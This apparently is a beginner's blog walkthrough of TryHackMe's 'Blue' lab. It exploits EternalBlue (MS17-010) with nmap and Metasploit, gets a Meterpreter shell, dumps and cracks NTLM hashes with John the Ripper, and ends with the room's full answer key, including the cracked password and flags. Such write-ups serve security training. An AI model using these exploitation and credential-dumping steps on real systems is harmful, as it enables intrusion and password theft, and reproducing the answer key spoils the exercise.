TryHackMe BLUE walkthrough — TryHackMe machine | by xer

Hey everyone! 🌟 Today, we’re diving into the thrilling world of hacking using TryHackMe’s Blue machine. If you’re new to this, don’t worry — we’ll take it step by step and keep it simple.

Step 1: Scanning for Weak Spots 🛡️

Use the following nmap scan

#nmap — script vuln -Pn 10.10.38.135

The above scan command is used to perform a vulnerability scan.

” — script vuln” is a default flag for vulnerability script scan.

Step 2: Knocking on Doors 🚪

After scanning, we found a weak spot called ‘ms17–010’, also known as Eternal Blue. It’s a secret door into the system. Think of it like finding a hidden entrance to a castle!

After performing the nmap scan, this is what we found in the last line:

smb-vuln-ms17–010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17–010) | State: VULNERABLE | IDs: CVE:CVE-2017–0143 | Risk factor: HIGH

in this its saying about ms17–010 it is a microsoft’s bulletin id for a critical security vulnerablity .it is known as eternal blue. if search in internet about ‘ms17–010’ we will get details about eternal blue.

and there is also a thing like this ‘CVE-2017–0143’ it is id of listing in Common Vulnerability Exposure.

Step 3: Breaking In 🚀

next step is to open msfconsole and search for ‘ms17–010’.

msfconsole is metasploit’s command line interface. we need to check in metasploit for is there a exploit for that windows vulnerability to get into that machine.

so run

#msfconsole

#search ms17–010

after searching this find exploit module and select with serial number for easy selecting here the exploit is in 0th position so i use ‘use 0’

#use 0

after that

#show options

for showing what options are there for exploiting with the module.

here RHOSTS,RPORT means host and port of the target.

LHOST,LPORT means your ip and port .

here we need to change the RHOSTS . the target ip is as you know from the machines ip. (#set rhosts 10.10.38.135).

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.251.65

LHOST is your vpn’s ip (also known as tunnel ip) (#set LHOST tun0).

msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost tun0

now we have to set payload my this command

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload

we need meterpreter shell to this . meterpreter is a shell of metasploit used by penetration testers and attackers. meterpreter offers a wide range of functionalities for remote control ,data extraction, privilege escalation ,and more.

normally we have to add payload manually . here we don’t need to do that by this command it will add payload automatically.

Get xer’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

now its time for exploit (or you can use ‘run’) command :

#exploit

by this command we will break into that machine.

Step 5: The Treasure Hunt 🏴‍☠️

‘ps’ command in meterpreter shell used for running process listing.

#ps

here the user we are using is ‘nt authority/system’ . i tried to migrate to services by this simply typing this command.

#migrate 692

now we use this command to dump the hashes

#hashdump

here we see a user jon he is admin of the system. crack the hash of it using crack station.

or we can use john the ripper tool in kali linux for cracking this. we found it is NTLM type of hash😎.

echo 'ffb43f0de35be4d9917ac0cc8ad57f8d' > hash.txt

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

here i mentioned ‘nt’ in ‘ — format’ is for mentioning NTLM hash type. and we used rockyou.txt wordlist for cracking this hash.

Answer: alqfna22

so when we look into the question . there they was saying that the flag is in this format flag*.txt. so i am coming back to my meterpreter shell for searching the flag.

i checked my current working directory by ‘getwd’ command:

this is the command for searching flag*.txt in meterpreter type of shell.

meterpreter > search -f flag*.txt

we got 3 flag paths now we all need to do is reach out to the directories and cat that flags

That’s our thrilling adventure in the world of hacking! Remember, it’s about learning and having fun. Happy hacking! 🚀✨

all the questions asked in tryhackme and its answers:

1.How many ports are open with a port number under 1000?

3

2. What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)

ms17–010

3.If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use?

post/multi/manage/shell_to_meterpreter

4.Select this (use MODULE_PATH). Show options, what option are we required to change?

SESSION

5.Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Jon

6.Copy this password hash to a file and research how to crack it. What is the cracked password?

alqfna22

7.Flag1? This flag can be found at the system root.

flag{access_the_machine}

8.Flag2? This flag can be found at the location where passwords are stored within Windows.

flag{sam_database_elevated_access}

9.flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

flag{admin_documents_can_be_valuable}